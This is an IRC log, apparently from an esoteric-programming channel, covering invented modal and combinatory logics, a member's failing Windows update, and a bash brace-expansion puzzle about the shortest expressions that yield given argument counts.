19:39:09  I mean, your group's members each have their specialty, right?
19:39:22  Well, this is still at the individual try-out stage
19:39:33  "your black cat just broke your mirror.  what do you do?"
19:39:49  Buy a knew mirror
19:39:53  *new
19:40:03  that's option a
19:40:06  Wonder when I got a cat
19:40:08  option b is bleach the cat 
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19:40:49  C?
19:40:51  eh...
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19:41:32  c is just a boring "none of the previous answers"
19:41:44  (please specify)
19:41:52  I think option b is illegal under animal cruelty laws
19:41:58  [wiki] [[Temporal logic]] N http://esolangs.org/w/index.php?oldid=45424 * Hppavilion1 * (+1246) Created page with main paragraph, section on paths, and defining operators based on Wiki's list
19:42:42  yeah but your cat just granted you e^pi years of bad luck so it's kinda justified
19:42:50  Cruelty to the unlucky black cat. Not the new white cat you have. So no victim, no crime.
19:43:13  In some places black cats are good luck!
19:43:29  in oppositeland
19:43:35  China probably.
19:43:41  Curious where
19:43:55  Most of the UK, I believe
19:44:09  http://static.nichtlustig.de/toondb/010929.html "sorry, but did you see my cat? it is a black cat. pitch black. black." - "with that attitude you'll never find it"
19:44:30  Taneb: huh, curious
19:45:02  I always found de:ganz funny, because sv:ganska means "somewhat"
19:45:05  And Japan, apparently
19:45:12  (not sure how to add the "verkrampft")
19:45:35  "narrow minded"?
19:45:36  int-e: seems like one of the less funny comics from him
19:46:00  myname: interesting, it's one of my favorites actually
19:46:27  now fight
19:46:33  but in any case I was just reacting to the idea of bleaching the cat
19:47:17  and "narrow-minded" fits
19:47:39  i should add it to my new webcomiclist nontheless
19:47:48  but i like ruthe more, actually
19:48:39  entschuldigung == sorry?  wtf
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19:49:31  common words are short, so germans probably don't say sorry very often
19:49:32  Hm...
19:49:38  "Knowledge Logic"
19:49:54  Common sense?
19:50:08  A logic that is interpreted as being executed by a set of entities, each of which has knowledge about the state of variables
19:50:12  izabera: i do think a long word actually suits it very good
19:50:14  Including false knowledge
19:50:30  like, if you say it, you probably mean it more than if you just say sorry
19:50:43  izabera: it's funny you say that... I say "sorry" a lot more often than "entschuldigung" :P
19:51:42  I do too (although with "ursäkta" instead, which is our word for the same thing)... it's interesting, sometimes I've had people reply to me in english due to it
19:51:46  also, entschuldigung makes sense since it comes from schuld. something that's your fault, that you want to neutralize
19:51:47  A programming language which's type system is based on Knowledge Logic would be strongly-typed, but you could lie to the type checker xD
19:51:53  And hope it doesn't find out
19:52:32  hppavilion[1]: sounds great
19:52:38  myname: Yep.
19:52:42  Sounds like people
19:52:45  I think I'll go invent Knowledge Logic now
19:52:55  GoToTell: It is, to some degree. It's useful for human interactions
19:53:34  Would the entities infer stuff for themselves?
19:53:44  GoToTell: They could. Maybe.
19:54:09  If so, then their logic would have to be different from Knoledge logic.
19:54:24  knowledge logic is already a tjing
19:54:29  Oh.
19:54:59  myname: Do you mean the name or the idea?
19:55:54  myname?
19:56:13  is hppavilion.
19:56:43  GoToTell: ?
19:56:55  That's myname.
19:57:06  I am?
19:57:10  the idea, i am not sure what itks named
19:57:15  Ah
19:57:23  we used it on an AI course last semester
19:57:29  Sorry, I was making a low effort joke. :P
19:58:16  Is it https://en.wikipedia.org/wiki/Epistemic_logic?
19:58:53  What other weird stuff we could we do with formal logic?
19:59:16  modal logic is fun
19:59:17  https://en.m.wikipedia.org/wiki/Epistemic_modal_logic
19:59:21  Yeah
19:59:30  modal logic rules
20:00:07  the nice thing about making a language based on it is the fact that you can easily checl its correctness
20:00:30  Well, there's Time logic. And there's fuzzy logic. But there's no fuzzy time logic, ie drunk logic... yet.
20:00:49  GoToTell: Temporal Loigc?
20:01:02  I know about that xD. That's my favorite logic
20:01:10  "sorry" is very common in dutch, somehow
20:01:13  That's the word.
20:01:17  Though Temporal Knowledge Logic could be cool, or "Learning Logic"
20:01:21  The dutch are naturally apologetic
20:02:10  Only explanation
20:06:55  Hm...
20:07:16  Could we make combinatory versions of normal logics?
20:07:22  Combinatory Temporal Logic?
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20:19:36  "Apologetic Logic"
20:19:41  S[b]x
20:19:56  (Read: Sorry, but x :,( |)
20:20:17  (I HAVE SOLVED ENDING A PARENTHETICAL STATEMENT WITH AN EMOTICON KIND OF! WHOO! :) |)
20:21:31  what if you aren't sorry?
20:21:51  [wiki] [[User:Hppavilion1/Spatial logic]]  http://esolangs.org/w/index.php?diff=45425&oldid=45422 * Hppavilion1 * (+480) Some stuff
20:22:04  myname: Then you don't use the "Sorry but" operator
20:22:18  It's an additional operator, not an additional one
20:22:28  but what does it do
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20:24:06  Apology used to mean "in defense of" so maybe an apologetic function could maybe not only return results, but also highlights of it did toi get that result.
20:26:43  1 aNAND 0 would return [1, "there was a 0", sorry"]
20:33:10  [wiki] [[User:Hppavilion1/Combinatory temporal logic]] N http://esolangs.org/w/index.php?oldid=45426 * Hppavilion1 * (+590) Created Page, now to figure out the Φ combinator
20:33:58  myname: It allows you to establish an arbitrary new axiom to fix it? Or something?
20:34:33  The trick is that you can't do ":/x; ~x"
20:34:42  Because that would be a contradiction, and that is bad.
20:37:06  there was actually the idea of a friend of mine to make something like a game where everybody mixes in axioms until they contradict
20:37:33  you can either add an axiom or call the previous player a liar
20:37:51  if the previous player can disprove you, you are out. otherwise it's him
20:39:57  flawed
20:41:25  what happens when a player is unable to find a proof that the previous player is lying?
20:42:02  well, that's his problem
20:42:09 -!- Phantom_Hoover has joined.
20:43:40  so you have to find the oldest lie?
20:45:37  A lies, B can't disprove A, B doesn't lie, C finds a flaw that's caused by what A said, B is out, remove what B said and replace it with what C says
20:45:58  the system is still contradictory so D can disprove C
20:46:04  and so on
20:46:05  A wins
20:46:23 -!- Patashu has quit (Ping timeout: 264 seconds).
20:46:31  A invents non euclidian geometry, B tries for 2000 years to disprove it.
20:48:59  izabera: well, yeah.
20:50:23  [wiki] [[User:Hppavilion1/Combinatory temporal logic]]  http://esolangs.org/w/index.php?diff=45427&oldid=45426 * Hppavilion1 * (+1306) Combinators (α and β)
20:51:08  if C can prove that A was lying, can e remove both B and A?  i.e. everything since the oldest lie
20:51:20  [wiki] [[User:Hppavilion1/Combinatory temporal logic]] M http://esolangs.org/w/index.php?diff=45428&oldid=45427 * Hppavilion1 * (+1) /* Combinators */ Fixed convention
20:51:25 -!- GoToTell has quit (Ping timeout: 250 seconds).
20:55:21  [wiki] [[User:Hppavilion1/Combinatory temporal logic]]  http://esolangs.org/w/index.php?diff=45429&oldid=45428 * Hppavilion1 * (+384) Examples
20:56:22  [wiki] [[User:Hppavilion1/Combinatory temporal logic]] M http://esolangs.org/w/index.php?diff=45430&oldid=45429 * Hppavilion1 * (+1) /* Combinators */ Fixed convention. Again. The same convention. In the same place. It didn't take.
20:57:56 -!- Welo has quit (Quit: Leaving).
20:59:53  that may be discussed. but i think B should.be removed because he couldn't disprove A
21:00:02  it was a missplay
21:00:08 -!- `^_^v has joined.
21:00:13  mis
21:00:42  is there a timeout?
21:03:56  i won't set any
21:04:11  itks already hard enough
21:04:44  My grammar for CTL (Combinatory Temporal Logic) has a quirk: You can apply a combinator to an assignment (e.g. `K(I=SKK)`). What should this do?
21:05:11  Wait, I know what it has to do
21:06:57  [wiki] [[User:Hppavilion1/Combinatory temporal logic]]  http://esolangs.org/w/index.php?diff=45431&oldid=45430 * Hppavilion1 * (+1496) Grammar and semantics
21:07:32  the interesting part is that they must be axioms
21:08:06  so i guess player C can remove player B from the game if C can prove that what B said follows from what A said
21:10:10  [wiki] [[Combinatory logic]]  http://esolangs.org/w/index.php?diff=45432&oldid=45418 * Hppavilion1 * (+627) Grammar, in case anyone is wondering.
21:10:11  so not only lies, but also theorems get you expelled
21:10:42  [wiki] [[Combinatory logic]] M http://esolangs.org/w/index.php?diff=45433&oldid=45432 * Hppavilion1 * (+2) Fixed the location of the grammar
21:12:31  [wiki] [[User:Hppavilion1/Combinatory temporal logic]] M http://esolangs.org/w/index.php?diff=45434&oldid=45431 * Hppavilion1 * (+0) /* Combinators */ Fixed the λ-calculular S definition
21:13:35 -!- Vinegar has quit (Ping timeout: 240 seconds).
21:16:03  @tell zzo38 Found an article on how type systems are logics: https://codewords.recurse.com/issues/one/type-systems-and-logic
21:16:03  Consider it noted.
21:20:43  [wiki] [[Combinatory logic]]  http://esolangs.org/w/index.php?diff=45435&oldid=45433 * Hppavilion1 * (+50) Added a link to Combinatory temporal logic
21:25:32 -!- ^v has joined.
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21:48:47  seriosly, why is 0 called either zero, oh or naught
21:48:57  it alsways bites me
21:51:35 -!- `^_^v has quit (Quit: This computer has gone to sleep).
21:51:54  I'm through to the next stage of the trials for my uni's University Challenge team!
22:06:05  [wiki] [[Combinatory logic/Analysis of combinators]] N http://esolangs.org/w/index.php?oldid=45436 * Hppavilion1 * (+3271) Started on the page
22:14:15  Next round is on Saturday
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22:21:24  oerjan: Them certificates should be renovated now.
22:21:45 -!- ent0nces has joined.
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22:27:25  yay!
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22:29:00  dammit computer's doing something wrong again
22:30:11  maybe my disk is completely shot.  at least i managed to backup yesterday.
22:31:50  ooh something reacted.
22:33:03  and windows asked me if i wanted to kill this process, which was seemingly the desktop.
22:33:23  systemd is not responding. kill it?
22:33:38  well i expect it would normally restart?
22:33:53  anyway, i guess i have to do a hard shutdown. wish me luck.
22:34:02  Good luck!
22:35:06 -!- aloril has joined.
22:39:44  well it rebooted.
22:40:04  i am trying to let it download that big update again, and try once more.
22:40:32  i have this last desperate hope that if it would only go through, things would get fixed.
22:40:58  it's downloading very slowly though.
22:41:23  and it's possible that some of the other surprise reboots happened when it finally downloaded.
22:41:37  and then fails, and tries again.
22:42:06  but clearly that's not the only thing wrong.  my hope is that it's only a result of the update breaking the first time.
22:42:50  hm if chkdsk at startup finds any errors, would it report it while running?
22:43:04  because it definitely didn't.  in which case my disk might be fine.
22:43:58  the message that it tried to get me to read before i shutdown hard disappeared after i did.
22:44:16  (i couldn't get it to react to my button press on it, or almost anything else.)
22:44:39  download went up from 76& to 77%
22:46:11 -!- boily has joined.
22:46:17  ahoily
22:47:39  ok hm
22:48:10 -!- hppavilion[1] has joined.
22:48:16  bonsœrjan.
22:48:17  ok hm?
22:48:23  hppavellon[1]!
22:48:34  why did the network icon change.
22:49:06  boily: my computer is behaving weirdly, i'm currently blaming it on a half-gone-through windows update.
22:49:41  something something network complot.  effort
22:50:11  well the network isn't the thing giving trouble, i think.
22:50:51 * boily does the Chicken Invocation Dance to get rid of oerjan's machine's demons
22:51:07 -!- Tod-Autojoined has joined.
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22:53:52 -!- J_Arcane_ has changed nick to J_Arcane.
22:54:17  auto restart because of detected problem
22:54:17 -!- diginet has quit (Ping timeout: 265 seconds).
22:54:17 -!- newsham has quit (Ping timeout: 265 seconds).
22:54:37  sounds about right, it was burning CPU.
22:54:43 -!- Xe has quit (Ping timeout: 265 seconds).
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22:55:15  if it can actually _manage_ to reboot now...
22:55:19  i mean, shutdown.
22:55:42 -!- shikhin has joined.
22:56:08 -!- rntz has joined.
22:56:08 -!- deltab has joined.
22:56:28  fan is running hard again
22:57:19 * boily dances more
22:58:43 -!- Xe has joined.
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22:59:19  oerjan: I think your possibilities dwindled to only the Nuclear Manœuvre: strangulation by power button.
22:59:34 -!- diginet has joined.
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23:06:55 -!- puck1pedia has changed nick to puckipedia.
23:07:19 -!- APic has joined.
23:07:29  i think i'm going to have turn it off permanently.  bye soon...
23:08:42 -!- rodgort has joined.
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23:11:16  boily: oh and yes, i did.
23:11:30  then it ran chkdsk, and _chkdsk_ locked up without finishing.
23:11:41  then it rebooted and here i am, for the moment.
23:12:15 -!- sebbu has quit (Ping timeout: 250 seconds).
23:13:19 -!- sebbu has joined.
23:13:21  i guess it must be a disk error, then. :(
23:18:25  possible chkdsk did help for a while
23:20:19  backup and swap HDD...
23:20:30  first i need to get one
23:21:45  i backuped the important stuff to my nvg account yesterday.
23:22:19  https://en.wikipedia.org/wiki/Nomic#Computerized_version  do you guys know this?
23:22:49 * oerjan played schemenomic once.
23:25:21  funny, my previous computer worked (reasonably) well for 7 years, this one breaks after 2 1/2...
23:26:31  i'm wondering if the download is supposed to be this slow, or it's just the disk causing it...
23:27:04  mind you, it _is_ a windows version upgrade.
23:33:04 -!- hppavilion[1] has joined.
23:37:17  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45437&oldid=45370 * Hppavilion1 * (+150) /* Syntax */ Completely changed the syntax from normal fungoid to CSV
23:43:09  90% download
23:43:50 * Sgeo_ will look at Nomyx if it's still active
23:43:55  Sounds vaguely familiar
23:45:58  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45438&oldid=45437 * Hppavilion1 * (+420) Fixed formatting error, adjusted data model
23:48:27  [wiki] [[Treeng]] N http://esolangs.org/w/index.php?oldid=45439 * Hppavilion1 * (+376) Created Page
23:48:56  [wiki] [[User:Hppavilion1/UniFunge]] M http://esolangs.org/w/index.php?diff=45440&oldid=45438 * Hppavilion1 * (+0) /* Data Model */ Fixed meanings
23:51:23  [wiki] [[User:Hppavilion1/UniFunge]] M http://esolangs.org/w/index.php?diff=45441&oldid=45440 * Hppavilion1 * (+102) /* Commands */ Added Δs
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23:58:49  helloily
23:59:08 <\oren\> oerjan: the most reliable compters I find are business laptops

2015-11-17:

00:05:08  that's what they build supercomputers out of
00:05:12  lenovo thinkpads
00:08:29  QUINTHELLOPIA!
00:08:33  BYETOPIA!
00:08:40 -!- boily has quit (Quit: FLUTTERING CHICKEN).
00:10:24  fluttring chicken?
00:50:06  shachaf: oh dear, i was vaguely thinking about Banjo...
01:04:02  98%
01:05:26  how do i call the unicode character identifier thingy?
01:05:46  there was a bot here that did it
01:06:37  oh now it's starting to download something else too.
01:11:13  although if so, there will be another tie, and how do they break that?
01:11:30  (banjo)
01:11:49  izabera: `unidecode, you mean?
01:12:00  `unidecode –
01:12:01  ​[U+2013 EN DASH]
01:12:05  ah en dash
01:12:06  thanks
01:13:22  `` unidecode x y z
01:13:23  ​[U+0078 LATIN SMALL LETTER X] [U+0020 SPACE] [U+0079 LATIN SMALL LETTER Y] [U+0020 SPACE] [U+007A LATIN SMALL LETTER Z]
01:13:30  what
01:13:41  wtf this is wrong
01:13:47  `` type unidecode
01:13:47  unidecode is /hackenv/bin/unidecode
01:13:57  `` file /hackenv/bin/unidecode
01:13:58  ​/hackenv/bin/unidecode: Python script, ASCII text executable
01:14:05  `` cat /hackenv/bin/unidecode
01:14:06  ​#!/usr/bin/env python \ import os, sys \ import unicodedata \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ if u"DUNNO" in s: \   os.execvp("multicode", ["multicode"] + sys.argv[1:]) \ else: \   print s
01:15:01  here goes nothing...
01:15:08  why is it joining them with spaces?
01:15:12 <\oren\> izabera: why would it be wrong?
01:15:13  that's stupid
01:15:29  what, it gave up immediately.
01:36:47  Perhaps I should create a suite of programs demonstrating different abstract machines...
01:38:28  To teach people about CS
01:39:04  doesn't that require like 40+ years of experience
01:39:29  izabera: Is that directed at me?
01:39:43  yes...
01:39:46  It doesn't require THAT much experience to start on it. I mean, I understand the basic abstract machines
01:39:54  And this is just an introductory thing for people
01:40:36  It would cover things like Turing and Minsky machines
01:50:26 -!- adu has joined.
01:58:12  Hadu!
01:58:25  (Halldu?)
02:00:22  what?
02:01:26  adu: I was attempting to say hi
02:02:32  oerjan: of course you were
02:02:35  oerjan: banjo, demigod of corrupt ops
02:03:09  I used to have my client notify me anytime my nick appeared anywhere, but I think I configured it only only match on words, because I was getting too many hits on "graduate"
02:03:28  you're also an adult
02:03:37  izabera: :/
02:04:06  just learn to gradually ignore them
02:04:21  :/
02:04:44  `` grep adu /usr/share/dict/words
02:04:45  grep: /usr/share/dict/words: No such file or directory
02:04:46  xD
02:04:48  aww
02:05:08 -!- Sgeo_ has quit (Quit: Leaving).
02:05:14  http://arin.ga/3H3BbT/raw
02:05:22  adu: I'm trying to learn about Epistemic logic and Temporal logic, so I can mash them together into a horrible mess
02:05:33  adu: Also, I invented Probabilistic Combinatory Logic.
02:06:11  Hm...
02:06:22  I'm trying to think of a property of the world I can invent a logic about
02:06:34 <\oren\> esprit du corps: spirit of the corpse
02:06:43  I think Temporal logic is just regular logic plus the fermionic principle
02:06:57  adu: It's logic of time xD
02:07:13  Though I WOULD like to see wibbly wobbly temporal logic, which allows for time travel
02:07:17  B|
02:07:26  timey wimy?
02:07:37  adu: Exactly
02:07:54  thats my favorite kind of logic :)
02:08:05  So do you have any ideas for what I can make a logic about? Time and knowledge are definitely taken.
02:08:18  is "B" a reference to the new sonic shades?
02:08:21  Time/knowledge would be cool, but not original enough
02:08:31  adu: No, it was just a coolface.
02:08:41  Spatial logic I tried, but it's kind of stupid
02:08:55  EsoLogic perhaps?
02:08:57  That'd be cool
02:08:58  hppavilion[1]: do you watch Dr.Who?
02:09:02  Yes.
02:09:18  and you don't know about the sonic shades?
02:09:56 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:10:20  adu: Nope. I only watch it on netflix, because that's what I have access to
02:10:36  (I thought "sonic shades" was about a video game character xD)
02:10:46  s/ a /the/
02:10:53  ms/the/ the /
02:12:11  I have netflix
02:12:28  it basically has all the B movies I never wanted to watch
02:12:43  Fair enough
02:13:22  some of my favorite movies are still not on netflix
02:13:45  like Idiocracy, Serenity, Battlestar Galactica
02:14:12  [wiki] [[Epistemic logic]] N http://esolangs.org/w/index.php?oldid=45442 * Hppavilion1 * (+98) Created page, maybe possibly might make good someday perhaps
02:14:47  [wiki] [[Epistemic logic]] M http://esolangs.org/w/index.php?diff=45443&oldid=45442 * Hppavilion1 * (+9) Stub
02:14:53 -!- andrew__ has joined.
02:15:16  hppavilion[1]: so does Epistemic logic cover X knows A, and Y knows B, so Z can't tell X C until Y tells Z D
02:16:03  adu: If you mix it with temporal logic and define some terms (e.g. "tell")
02:16:06  Then yes
02:16:18  I'm going to make EsoLogic
02:16:39  it already sounds like cells and propogators
02:19:54  hppavilion[1]: my first thought was that it was the study of epistemology
02:20:07  epistemologyology
02:20:50 -!- Sgeo has joined.
02:22:23  http://esolangs.org/wiki/Brainfuck_constants  about this page
02:23:01  how does one prove that there's no shorter sequence?
02:24:14  oh, shortest known
02:24:20  so they've been created by humans
02:24:56  izabera: Alternatively, they could be brute forced by a computer
02:26:32  i have a "language" that has 5 symbols: 'a'  '{'  ','  '}'  ' '
02:26:48  it doesn't do much
02:27:18  `` num () { echo "$#"; };    num a
02:27:19  1
02:27:21  `` num () { echo "$#"; };    num a{,}
02:27:22  2
02:27:24  `` num () { echo "$#"; };    num a{,,}
02:27:25  3
02:27:28  `` num () { echo "$#"; };    num a{,,}{,,}
02:27:29  9
02:27:37  `` num () { echo "$#"; };    num a{,,}{,,} a{,,,}{,,,}
02:27:38  25
02:27:57  i want to find the shortest sequence that produces a given number
02:28:53  so for 25 there's "a{,,}{,,} a{,,,}{,,,}" but also "a{,,,,}{,,,,}" which is much shorter
02:29:27 -!- singingboyo has joined.
02:29:28  `` num () { echo "$#"; };    num a{,{,}{,}}{,,,}
02:29:29  20
02:29:29 -!- singingboyo has quit (Client Quit).
02:29:43  (1+2*2)*4.
02:29:45  nesting them isn't particularly helpful
02:29:55  izabera: yeah, I guess so
02:30:16  aside from a few exceptions, finding the shortest sequence is easy for composite numbers
02:30:23  primes are harder
02:31:28  `` num () { echo "$#"; };    num a{,,,}{,,,}{,,} a{,,}  # 51 as 48+3
02:31:29  51
02:31:43  `` num () { echo "$#"; };    num a{,,,,}{,,,,}{,} a  # 51 as 50+1
02:31:44  51
02:32:00 -!- singingboyo has joined.
02:32:07  so uhm
02:32:23  any idea other than bruteforcing it?
02:34:34  Hm...
02:37:30  [wiki] [[EsoLogic]] N http://esolangs.org/w/index.php?oldid=45444 * Hppavilion1 * (+1244) Created Page
02:38:27  EsoLogic is really just going to turn into a way to model the world.
02:38:30  Weird.
02:38:55  [wiki] [[EsoLogic]] M http://esolangs.org/w/index.php?diff=45445&oldid=45444 * Hppavilion1 * (+1) Formatting
02:41:22  izabera: I have experimented with a form of i*j*...-1
02:41:38  which is possible with {,a}{,a}...
02:41:52  show it?
02:42:24  well, I couldn't come up with an example that gives a shorter result than an ordinary case
02:42:40 -!- GoToTell has joined.
02:43:37  although I have an example of highly composite number: 69 = a{,,}{{,,}{,,,,,,},,}
02:43:52  probably this problem is not as easy as it seems
02:44:19  oh
02:44:23  you're right
02:44:48  The max size for any number would be a: num a[,] a[,] a[,] ... and so on, right?
02:45:16  max size would be   a a a a a a a a
02:45:30  well, for given n the upper bound is `a{}`
02:45:42  except for n=2
02:45:45  Right.
02:45:45  and 1
02:46:30  But if you have an max size then you can brute force all combination of multiplication and additions.
02:48:12  Hmn, I wonder if it correlates to representing numbers in different bases.
02:48:43  so uhm
02:49:21  well i'll write the bruteforcer
02:50:11 -!- adu has quit (Quit: adu).
02:50:42  Always fun to code, if nothing else.
02:52:15 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
02:55:55  i'm also dumb and forgot that 51 isn't prime
02:57:07  funny enough, 50+1 is shorter than 3*17
02:57:15  `` factor 51
02:57:16  51: 3 17
02:57:21  `` num () { echo "$#"; };    num a{,,}{{,,}{,,,,},,}  # 3*17
02:57:21  51
02:59:28 <\oren\> `` num () { echo "$#"; };    num a{,,}{,,}  #
02:59:29  9
02:59:34 <\oren\> `` num () { echo "$#"; };    num a{,,}{,}
02:59:35  6
03:00:42 <\oren\> OH
03:01:01 <\oren\> I see, it's normal bash syntax, WTF
03:01:06  lol
03:01:18  yes it's just regular brace expansion
03:02:23 <\oren\> `` num () { echo "$#"; }; num a{{,,,,,}{,,,,,}{,,},}
03:02:24  109
03:02:43 <\oren\> `` num () { echo "$#"; }; num a{{,,,,}{,,,,}{,},}
03:02:44  51
03:04:00 <\oren\> `` num () { echo "$#"; }; num a{,,,,}{,,,,}{,}
03:04:01  50
03:04:12 <\oren\> `` num () { echo "$#"; }; num a{,,,,}{,,,,,}
03:04:13  30
03:04:15 <\oren\> `` num () { echo "$#"; }; num a{,,,,}{,,,,,,}
03:04:16  35
03:04:19 <\oren\> `` num () { echo "$#"; }; num a{,,,,,}{,,,,,,}
03:04:20  42
03:04:49 <\oren\> wait why am I doing this in the channel
03:05:29  http://ix.io/mgh
03:05:36  simple programming. 
03:05:37  what
03:05:55  you're fast
03:05:57  additive only, to be exact
03:06:11  http://ix.io/mgi.py is a source code
03:06:33  hmm, seems to be a bit incorrect
03:06:48  I set up the recurrence wrongly
03:07:00  bracing requirement is a bit hard to get it right
03:07:49 * lifthrasiir afk
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03:13:11  okay, fixed: http://ix.io/mgl (source code http://ix.io/mgk.py)
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03:13:40  num can be also improved, let me check it out
03:13:59  good job :)
03:16:02  well, shorter by one byte in some cases, but not further.
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03:16:28  especially it seems that composite + small number k is useless for k>1
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03:17:05  anyway, http://ix.io/mgn.py is the new code
03:17:26  I'm yet to investigate subtractive approach though
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03:25:56  izabera: okay, I have a concrete example now
03:26:08  `` num () { echo "$#"; }; num a{,}{,{,,,}{,,,{,,,}{,,,}{,,,}}} # additive
03:26:09  538
03:26:16  `` num () { echo "$#"; }; num {,a{,}{,,,,}}{,a{,,}{,,,}{,,,}} # subtractive
03:26:17  538
03:26:24  this is the smallest example I have
03:26:46  683 and 934 are others below 1000
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03:27:44  `` num () { echo "$#"; }; num a{,}{,,,,}}{,a{,,}{,,,}{,,,} 
03:27:44  480
03:28:06  wait
03:28:12  i removed the wrong ones
03:28:12  new list up to 10000: http://ix.io/mgp (code at http://ix.io/mgq.py)
03:28:40  `` num () { echo "$#"; }; num a{,}{,,,,}; num {,a{,}{,,,,}}
03:28:41  10 \ 10
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03:32:59  why is that subtractive?
03:35:34  you're doing 10 + 48 + 10*48 so i don't see the subtraction?
03:36:03  anyway {a,} is neat
03:39:21  and your approach is very nice but i'm not sure you can produce the correct result without actually bruteforcing it   (but i don't have a proof for this)
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03:54:54  [wiki] [[EsoLogic]]  http://esolangs.org/w/index.php?diff=45446&oldid=45445 * Hppavilion1 * (+383) New things! Yay!
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03:56:18  but most importantly:  http://www.wizard101central.com/forums/showthread.php?456268-New-Jewels-Dual-Blades-for-all-schools!
03:56:40  new jewels with two +40% buffs at level FIFTEEN??
03:56:46  that's insane!
03:57:42  ice blade is +45%!  wtf!
03:58:33  and you can have two of those jewels!
03:59:05  wizard101 is a great game guys, you should definitely try it
03:59:48  omg i can have both balance AND ice blades omg omg omg
04:09:34 -!- adu has joined.
04:09:51  I want to make a Modal Logic programming language...
04:10:12  A sort of epistemic/probabilistic/deontic/temporal programming language
04:11:52  hppavilion[1]: like prolog?
04:12:09  adu: A logic language like prolog, yes
04:12:22  But with Temporal/epistemic/deontic/probabilistic properties
04:12:49  Possibly a bit fuzzy
04:20:34  gah i take a short break, and *poof* another reboot
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04:21:50  i suspect some of the programs that start up automatically when it's "idle" crashes it.
04:22:10  on the bright side, IE remembered its tabs this time.
04:24:25  hm next time i put it to sleep before i walk away for any length of time.
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04:41:37  Hm...
04:41:43  What should I call my logic language?
04:41:59  loglan
04:43:35  taken
04:44:19  "taken" it is xD
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04:47:01  how can i find the nearest lower prime power?
04:47:34  i mean, the highest number that's a power of a prime number, that's lower than my number
04:48:22  127 is my number, 125 is the nearest lower prime power
04:48:34  not sure if this thing has a name
04:49:05  izabera: Lookup table|Brute force|prime checking algorithm|solve the Reimann Hypothesis
04:49:53  impractical|???|yeah that|that's the next step
04:50:00  I recommend the last one.
04:50:02  Wait, what?
04:50:26  OK, just to make sure, are you ACTUALLY working on the Riemann Hypothesis?
04:51:14  no silly
04:51:42  OK, good.
04:51:52  I have seen the future when they prove it has no solution.
04:52:03  It seems really obvious to them.
04:53:31 -!- Melvar` has joined.
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04:54:36  Helvar!
04:54:37  `
04:54:38  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
04:54:39  !
04:54:59  lifthrasiir: Have any better names?
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04:59:38 <\oren\> I updated the font
04:59:58 <\oren\> this time with autogenerated char count at the end of allchars.htm
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05:00:14  link link link link
05:00:17  hppavilion[1]: moment
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05:00:24 <\oren\> http://www.orenwatson.be/allchars.htm
05:00:25  too late
05:00:26  Sure
05:00:46  hppavilion[1]: no, I meant the literal "moment"
05:00:47 -!- Xe- has joined.
05:00:52  or its shorthand, "mom"
05:01:01  That's what I thought xD
05:01:03 <\oren\> 5601 characters, total
05:01:09  I knew you meant the literal "moment"
05:01:28 * lifthrasiir thinks he probably should make a font
05:01:33 -!- adu has joined.
05:01:40  You'd come in third AT LEAST if you did
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05:02:12  hppavilion[1]: who were the first and the second? (and just to be sure, do they include oren?)
05:02:55  lifthrasiir: oren is first, I'm second, assuming no one has done it before us
05:03:00  On this channel, that is
05:03:09 <\oren\> b_jonas I think has his own font
05:03:12  do you have your own font?
05:03:14  \oren\: your #define's are the best
05:03:30  actually I have my own font as well, very old ASCII-limited one though
05:03:33  lifthrasiir: Yes, but it can't be rendered outside of a special program I made
05:03:50 <\oren\> izabera: which ones?
05:03:55  Well, unless one were to make another renderer or a compiler.
05:03:56  #define brase break;case
05:04:01  #define brault break;default
05:04:05 <\oren\> oh. yeah I like those
05:04:11  https://github.com/lifthrasiir/angolmois/blob/625f843/angolmois.c#L876-L916
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05:04:17  this is how it is encoded :)
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05:04:47  what is that o.o
05:05:27  the "bitmap" font composed of a filled square or four kinds of right triangle or their impositions as well
05:05:43  ...which is then compressed.
05:06:00 <\oren\> and apparently encoded in base 96?
05:06:06  it's LZ77
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05:06:40  33 through 97 encodes a literal code (which is remapped through `words`)
05:07:25  98 through... 126? I don't know, but anyway they encode a count which is followed by a distance offseted by 32.
05:08:10 <\oren\> Whoa, innovative
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05:09:15  \oren\: my original goal is to make a minimal game in the minimal number of bytes, so it was inevitable
05:09:35  I probably crushed the whole game into 15,000 bytes of really unreadable source code
05:10:05  then I cleaned it up for making it a bit easier to read while still being minimal (i.e. limited to 2,000 lines of code)
05:10:41 <\oren\> do you have a sample image?
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05:13:07  \oren\: https://raw.githubusercontent.com/lifthrasiir/angolmois-rust/gh-pages/img/angolmois1.jpg https://raw.githubusercontent.com/lifthrasiir/angolmois-rust/gh-pages/img/angolmois2.jpg
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05:17:02 <\oren\> Nice!
05:17:30  \oren\: http://stackoverflow.com/questions/13955163/imitating-a-blink-tag-with-css3-animations   add it to http://www.orenwatson.be/ansi.htm
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05:31:29  Hm...
05:31:38  I'm trying to think of a new idea for a modal logic
05:32:26  hppavilion[1]: solve the Reimann Hypothesis is a great name for a logic language
05:32:39  xD
05:32:53  STRH
05:33:29  Time, Responsibility, Knowledge, Belief
05:33:32  What else?
05:35:24  Graph Logic perhaps?
05:37:56  ooo SemanticLang
05:39:11  adu: ?
05:39:42  The Semantic Web is all about graphs
05:40:01  hppavilion[1]: I might have spent too much time reading about OpenCyc and OWL/RDF
05:40:17  Ah
05:40:41  for me, RDF is a way of life
05:40:56  it's like a lens you see the world thru
05:42:08  without the RDF worldview, you might make an HTTP log format like http://www.softwareishard.com/har/schema/HTTPArchiveV12.xsd
05:42:24  with the RDF worldview, you might make an HTTP log format like http://www.w3.org/TR/HTTP-in-RDF10/
05:44:11  http://www.softwareishard.com/blog/har-12-spec/ is the JSON spec that goes along with HTTPArchiveV12.xsd
05:49:56  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45447&oldid=45415 * Quintopia * (-9) /* Examples */ Golfed the truth-machine some more
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06:16:54  [wiki] [[Aubergine/aubergine.py]]  http://esolangs.org/w/index.php?diff=45448&oldid=45416 * Quintopia * (-45) oops this was debugging
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06:29:45  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45449&oldid=45447 * Quintopia * (-65) /* Hello, world! */
